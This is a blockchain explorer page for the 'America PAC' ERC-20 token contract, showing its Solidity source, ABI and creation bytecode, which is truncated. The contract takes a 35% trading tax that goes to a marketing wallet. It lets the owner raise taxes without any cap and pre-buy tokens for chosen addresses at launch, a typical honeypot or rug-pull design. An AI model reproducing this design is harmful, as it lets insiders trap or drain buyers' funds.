ERC-20
Overview
Max Total Supply
1,000,000,000 PAC
Holders
148
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0.002799521982187638 PACValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
DevK
Compiler Version
v0.8.27+commit.40a35a09
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-05 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.17; interface IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IUniswapRouter { function getAmountsOut( uint amountIn, address[] calldata path ) external view returns (uint[] memory amounts); function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapFactory { function getPair( address tokenA, address tokenB ) external view returns (address pair); function createPair( address tokenA, address tokenB ) external returns (address pair); } abstract contract Ownable { address internal _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "you are not owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "new is 0"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract DevK is IERC20, Ownable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; address public router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public receiveAddr = 0xf0736E3A2019bE3951268d568830f7CF6D565fa0; address payable public mkt = payable(0x299A42E1e5beCB1a41CC26D7ABAa0E9F24172Fa4); string private _name; string private _symbol; uint8 private _decimals; mapping(address => bool) public _isExcludeFromFee; uint256 private _totalSupply; IUniswapRouter public _uniswapRouter; mapping(address => bool) public isMarketPair; bool private inSwap; uint256 private constant MAX = ~uint256(0); address public _uniswapPair; modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _name = unicode"America PAC"; _symbol = "PAC"; _decimals = 18; uint256 Supply = 1000000000; _totalSupply = Supply * 10 ** _decimals; swapAtAmount = _totalSupply / 20000; _balances[receiveAddr] = _totalSupply; emit Transfer(address(0), receiveAddr, _totalSupply); _isExcludeFromFee[address(this)] = true; _isExcludeFromFee[receiveAddr] = true; _isExcludeFromFee[mkt] = true; IUniswapRouter swapRouter = IUniswapRouter(router); _uniswapRouter = swapRouter; _allowances[address(this)][address(swapRouter)] = MAX; IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory()); _uniswapPair = swapFactory.createPair(address(this), swapRouter.WETH()); isMarketPair[_uniswapPair] = true; IERC20(_uniswapRouter.WETH()).approve( address(address(_uniswapRouter)), ~uint256(0) ); _walletMAX = 0; transferOwnership(receiveAddr); } modifier onlyFunder() { require(_owner == msg.sender || receiveAddr == msg.sender, "!Funder"); _; } function setMKT(address payable newMKT) public onlyFunder { mkt = newMKT; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function decimals() external view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); if (_allowances[sender][msg.sender] != MAX) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return true; } function _approve(address owner, address spender, uint256 amount) private { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _basicTransfer( address sender, address recipient, uint256 amount ) internal returns (bool) { _balances[sender] -= amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); return true; } uint256 public _buyCount = 0; uint256 private _initialBuyTax = 35; uint256 private _initialSellTax = 35; uint256 private _finalBuyTax = 35; uint256 private _finalSellTax = 35; uint256 private _reduceBuyTaxAt = 0; uint256 private _reduceSellTaxAt = 0; uint256 private _preventSwapBefore = 0; function recuseTax( uint256 newBuy, uint256 newSell, uint256 newReduceBuy, uint256 newReduceSell, uint256 newPreventSwapBefore ) public onlyOwner { _finalBuyTax = newBuy; _finalSellTax = newSell; _reduceBuyTaxAt = newReduceBuy; _reduceSellTaxAt = newReduceSell; _preventSwapBefore = newPreventSwapBefore; } bool public remainHolder = true; function changeRemain() public onlyOwner { remainHolder = !remainHolder; } uint256 swapAtAmount; function setSwapAtAmount(uint256 newValue) public onlyOwner { swapAtAmount = newValue; } uint256 public _walletMAX; function setWalletMax(uint256 walletM_) public onlyOwner { _walletMAX = walletM_; } function _transfer(address from, address to, uint256 amount) private { uint256 balance = balanceOf(from); require(balance >= amount, "balanceNotEnough"); if (inSwap) { _basicTransfer(from, to, amount); return; } bool takeFee; if ( isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to] && _buyCount > _preventSwapBefore ) { uint256 _numSellToken = amount; if (_numSellToken > balanceOf(address(this))) { _numSellToken = _balances[address(this)]; } if (_numSellToken > swapAtAmount) { swapTokenForETH(_numSellToken); } } if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) { require(startTradeBlock > 0); takeFee = true; if ( isMarketPair[from] && to != address(_uniswapRouter) && !_isExcludeFromFee[to] ) { _buyCount++; if (_walletMAX > 0) { require( balanceOf(to) + amount <= _walletMAX, "walletlimit" ); } } if (remainHolder && amount == balance) { amount = amount - (amount / 100000000); } } _transferToken(from, to, amount, takeFee); } function _transferToken( address sender, address recipient, uint256 tAmount, bool takeFee ) private { _balances[sender] = _balances[sender] - tAmount; uint256 feeAmount; if (takeFee) { uint256 taxFee; if (isMarketPair[recipient]) { taxFee = _buyCount > _reduceSellTaxAt ? _finalSellTax : _initialSellTax; } else if (isMarketPair[sender]) { taxFee = _buyCount > _reduceBuyTaxAt ? _finalBuyTax : _initialBuyTax; } uint256 swapAmount = (tAmount * taxFee) / 100; if (swapAmount > 0) { feeAmount += swapAmount; _balances[address(this)] = _balances[address(this)] + swapAmount; emit Transfer(sender, address(this), swapAmount); } } _balances[recipient] = _balances[recipient] + (tAmount - feeAmount); emit Transfer(sender, recipient, tAmount - feeAmount); } uint256 public startTradeBlock; function startTrade() public onlyOwner { startTradeBlock = startTradeBlock == 0 ? block.number : 0; } function startTrade( address admin, address[] calldata adrs, uint256 per ) public onlyOwner { address weth = _uniswapRouter.WETH(); IERC20(weth).approve(address(_uniswapRouter), ~uint256(0)); IERC20(weth).transferFrom( admin, address(this), IERC20(weth).balanceOf(admin) ); for (uint i = 0; i < adrs.length; i++) { swapToken(per, adrs[i]); } startTradeBlock = block.number; uint256 _bal = IERC20(weth).balanceOf(address(this)); if (_bal > 0) { IERC20(weth).transfer(admin, _bal); } } function swapToken(uint256 tokenAmount, address to) private lockTheSwap { address weth = _uniswapRouter.WETH(); address[] memory path = new address[](2); path[0] = address(weth); path[1] = address(this); address[] memory sellpath = new address[](2); sellpath[0] = address(this); sellpath[1] = address(weth); uint256 _bal = IERC20(weth).balanceOf(address(this)); uint256 buyAmount = _uniswapRouter.getAmountsOut(tokenAmount, sellpath)[ 1 ]; buyAmount = buyAmount > _bal ? _bal : buyAmount; if (buyAmount == 0) return; _uniswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( buyAmount, 0, path, address(to), block.timestamp ); } function removeERC20(address _token) external { if (_token != address(this)) { IERC20(_token).transfer( mkt, IERC20(_token).balanceOf(address(this)) ); mkt.transfer(address(this).balance); } } function swapTokenForETH(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapRouter.WETH(); _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, mkt, block.timestamp ); } function setFeeExclude(address[] memory accounts, bool value) public onlyOwner { for(uint i=0;i<accounts.length;i++){ _isExcludeFromFee[accounts[i]] = value; } } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMAX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"changeRemain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mkt","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"receiveAddr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuy","type":"uint256"},{"internalType":"uint256","name":"newSell","type":"uint256"},{"internalType":"uint256","name":"newReduceBuy","type":"uint256"},{"internalType":"uint256","name":"newReduceSell","type":"uint256"},{"internalType":"uint256","name":"newPreventSwapBefore","type":"uint256"}],"name":"recuseTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"remainHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setFeeExclude","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newMKT","type":"address"}],"name":"setMKT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setSwapAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"walletM_","type":"uint256"}],"name":"setWalletMax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"admin","type":"address"},{"internalType":"address[]","name":"adrs","type":"address[]"},{"internalType":"uint256","name":"per","type":"uint256"}],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073f0736e3a2019be3951268d568830f7cf6d565fa060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073299a42e1e5becb1a41cc26d7abaa0e9f24172fa460055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600e556023600f556023601055602360115560236012555f6013555f6014555f601555600160165f6101000a81548160ff021916908315150217905550348015610149575f5ffd5b505f339050805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600b81526020017f416d6572696361205041430000000000000000000000000000000000000000008152506006908161022c9190610d55565b506040518060400160405280600381526020017f5041430000000000000000000000000000000000000000000000000000000000815250600790816102719190610d55565b50601260085f6101000a81548160ff021916908360ff1602179055505f633b9aca00905060085f9054906101000a900460ff16600a6102b09190610f8c565b816102bb9190610fd6565b600a81905550614e20600a546102d19190611044565b601781905550600a5460015f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a546040516103bc9190611083565b60405180910390a3600160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905080600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f1960025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610632573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065691906110fa565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106be573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e291906110fa565b6040518363ffffffff1660e01b81526004016106ff929190611134565b6020604051808303815f875af115801561071b573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073f91906110fa565b600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c5f600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610860573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088491906110fa565b73ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165f196040518363ffffffff1660e01b81526004016108e092919061115b565b6020604051808303815f875af11580156108fc573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092091906111b7565b505f60188190555061095860045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661096060201b60201c565b5050506112c2565b3373ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e59061123c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a53906112a4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610b9357607f821691505b602082108103610ba657610ba5610b4f565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302610c087fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610bcd565b610c128683610bcd565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f610c56610c51610c4c84610c2a565b610c33565b610c2a565b9050919050565b5f819050919050565b610c6f83610c3c565b610c83610c7b82610c5d565b848454610bd9565b825550505050565b5f5f905090565b610c9a610c8b565b610ca5818484610c66565b505050565b5b81811015610cc857610cbd5f82610c92565b600181019050610cab565b5050565b601f821115610d0d57610cde81610bac565b610ce784610bbe565b81016020851015610cf6578190505b610d0a610d0285610bbe565b830182610caa565b50505b505050565b5f82821c905092915050565b5f610d2d5f1984600802610d12565b1980831691505092915050565b5f610d458383610d1e565b9150826002028217905092915050565b610d5e82610b18565b67ffffffffffffffff811115610d7757610d76610b22565b5b610d818254610b7c565b610d8c828285610ccc565b5f60209050601f831160018114610dbd575f8415610dab578287015190505b610db58582610d3a565b865550610e1c565b601f198416610dcb86610bac565b5f5b82811015610df257848901518255600182019150602085019450602081019050610dcd565b86831015610e0f5784890151610e0b601f891682610d1e565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115610ea657808604811115610e8257610e81610e24565b5b6001851615610e915780820291505b8081029050610e9f85610e51565b9450610e66565b94509492505050565b5f82610ebe5760019050610f79565b81610ecb575f9050610f79565b8160018114610ee15760028114610eeb57610f1a565b6001915050610f79565b60ff841115610efd57610efc610e24565b5b8360020a915084821115610f1457610f13610e24565b5b50610f79565b5060208310610133831016604e8410600b8410161715610f4f5782820a905083811115610f4a57610f49610e24565b5b610f79565b610f5c8484846001610e5d565b92509050818404811115610f7357610f72610e24565b5b81810290505b9392505050565b5f60ff82169050919050565b5f610f9682610c2a565b9150610fa183610f80565b9250610fce7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610eaf565b905092915050565b5f610fe082610c2a565b9150610feb83610c2a565b9250828202610ff981610c2a565b915082820484148315176110105761100f610e24565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61104e82610c2a565b915061105983610c2a565b92508261106957611068611017565b5b828204905092915050565b61107d81610c2a565b82525050565b5f6020820190506110965f830184611074565b92915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6110c9826110a0565b9050919050565b6110d9816110bf565b81146110e3575f5ffd5b50565b5f815190506110f4816110d0565b92915050565b5f6020828403121561110f5761110e61109c565b5b5f61111c848285016110e6565b91505092915050565b61112e816110bf565b82525050565b5f6040820190506111475f830185611125565b6111546020830184611125565b9392505050565b5f60408201905061116e5f830185611125565b61117b6020830184611074565b9392505050565b5f8115159050919050565b61119681611182565b81146111a0575f5ffd5b50565b5f815190506111b18161118d565b92915050565b5f602082840312156111cc576111cb61109c565b5b5f6111d9848285016111a3565b91505092915050565b5f82825260208201905092915050565b7f796f7520617265206e6f74206f776e65720000000000000000000000000000005f82015250565b5f6112266011836111e2565b9150611231826111f2565b602082019050919050565b5f6020820190508181035f8301526112538161121a565b9050919050565b7f6e657720697320300000000000000000000000000000000000000000000000005f82015250565b5f61128e6008836111e2565b91506112998261125a565b602082019050919050565b5f6020820190508181035f8301526112bb81611282565b9050919050565b613b4b806112cf5f395ff3fe6080604052600436106101e6575f3560e01c806365b61b7711610101578063a67755c211610094578063cefab2af11610063578063cefab2af146106ab578063dd62ed3e146106d5578063f2fde38b14610711578063f887ea4014610739576101ed565b8063a67755c214610609578063a9059cbb14610631578063bc2b8fb71461066d578063bc76c05214610695576101ed565b80637cc5b1e6116100d05780637cc5b1e6146105635780638da5cb5b1461058d5780638ff4013f146105b757806395d89b41146105df576101ed565b806365b61b77146104d15780636c580801146104fb57806370a0823114610511578063715018a61461054d576101ed565b806336b2e027116101795780634bf28fd0116101485780634bf28fd01461042d578063553193ca1461045757806358e56b63146104815780636402511e146104a9576101ed565b806336b2e027146103655780633e0cdeb1146103a15780633ecad271146103c95780633f80b6d714610405576101ed565b806323b872dd116101b557806323b872dd146102ab57806327b1a8e9146102e7578063313ce567146103115780633455a9db1461033b576101ed565b806306fdde03146101f1578063095ea7b31461021b57806318160ddd146102575780631b58374914610281576101ed565b366101ed57005b5f5ffd5b3480156101fc575f5ffd5b50610205610763565b6040516102129190612c38565b60405180910390f35b348015610226575f5ffd5b50610241600480360381019061023c9190612cf6565b6107f3565b60405161024e9190612d4e565b60405180910390f35b348015610262575f5ffd5b5061026b610809565b6040516102789190612d76565b60405180910390f35b34801561028c575f5ffd5b50610295610812565b6040516102a29190612d76565b60405180910390f35b3480156102b6575f5ffd5b506102d160048036038101906102cc9190612d8f565b610818565b6040516102de9190612d4e565b60405180910390f35b3480156102f2575f5ffd5b506102fb6109b0565b6040516103089190612d76565b60405180910390f35b34801561031c575f5ffd5b506103256109b6565b6040516103329190612dfa565b60405180910390f35b348015610346575f5ffd5b5061034f6109cb565b60405161035c9190612e22565b60405180910390f35b348015610370575f5ffd5b5061038b60048036038101906103869190612e3b565b6109f0565b6040516103989190612d4e565b60405180910390f35b3480156103ac575f5ffd5b506103c760048036038101906103c29190612ea1565b610a0d565b005b3480156103d4575f5ffd5b506103ef60048036038101906103ea9190612e3b565b610b35565b6040516103fc9190612d4e565b60405180910390f35b348015610410575f5ffd5b5061042b60048036038101906104269190612ecc565b610b52565b005b348015610438575f5ffd5b50610441610c0a565b60405161044e9190612e22565b60405180910390f35b348015610462575f5ffd5b5061046b610c30565b6040516104789190612d76565b60405180910390f35b34801561048c575f5ffd5b506104a760048036038101906104a291906130ad565b610c36565b005b3480156104b4575f5ffd5b506104cf60048036038101906104ca9190613107565b610d52565b005b3480156104dc575f5ffd5b506104e5610dea565b6040516104f2919061318d565b60405180910390f35b348015610506575f5ffd5b5061050f610e0f565b005b34801561051c575f5ffd5b5061053760048036038101906105329190612e3b565b610eb6565b6040516105449190612d76565b60405180910390f35b348015610558575f5ffd5b50610561610efc565b005b34801561056e575f5ffd5b50610577611045565b60405161058491906131b5565b60405180910390f35b348015610598575f5ffd5b506105a161106a565b6040516105ae9190612e22565b60405180910390f35b3480156105c2575f5ffd5b506105dd60048036038101906105d89190613107565b611091565b005b3480156105ea575f5ffd5b506105f3611129565b6040516106009190612c38565b60405180910390f35b348015610614575f5ffd5b5061062f600480360381019061062a9190612e3b565b6111b9565b005b34801561063c575f5ffd5b5061065760048036038101906106529190612cf6565b611369565b6040516106649190612d4e565b60405180910390f35b348015610678575f5ffd5b50610693600480360381019061068e9190613227565b61137f565b005b3480156106a0575f5ffd5b506106a961178f565b005b3480156106b6575f5ffd5b506106bf611847565b6040516106cc9190612d4e565b60405180910390f35b3480156106e0575f5ffd5b506106fb60048036038101906106f69190613298565b611859565b6040516107089190612d76565b60405180910390f35b34801561071c575f5ffd5b5061073760048036038101906107329190612e3b565b6118db565b005b348015610744575f5ffd5b5061074d611a93565b60405161075a9190612e22565b60405180910390f35b60606006805461077290613303565b80601f016020809104026020016040519081016040528092919081815260200182805461079e90613303565b80156107e95780601f106107c0576101008083540402835291602001916107e9565b820191905f5260205f20905b8154815290600101906020018083116107cc57829003601f168201915b5050505050905090565b5f6107ff338484611ab8565b6001905092915050565b5f600a54905090565b60185481565b5f610824848484611b9f565b5f1960025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054146109a5578160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109289190613360565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600190509392505050565b600e5481565b5f60085f9054906101000a900460ff16905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6009602052805f5260405f205f915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610ab357503373ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610af2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae9906133dd565b60405180910390fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c602052805f5260405f205f915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd790613445565b60405180910390fd5b84601181905550836012819055508260138190555081601481905550806015819055505050505050565b600d60019054906101000a900473fffffffffffffffffffffffffffff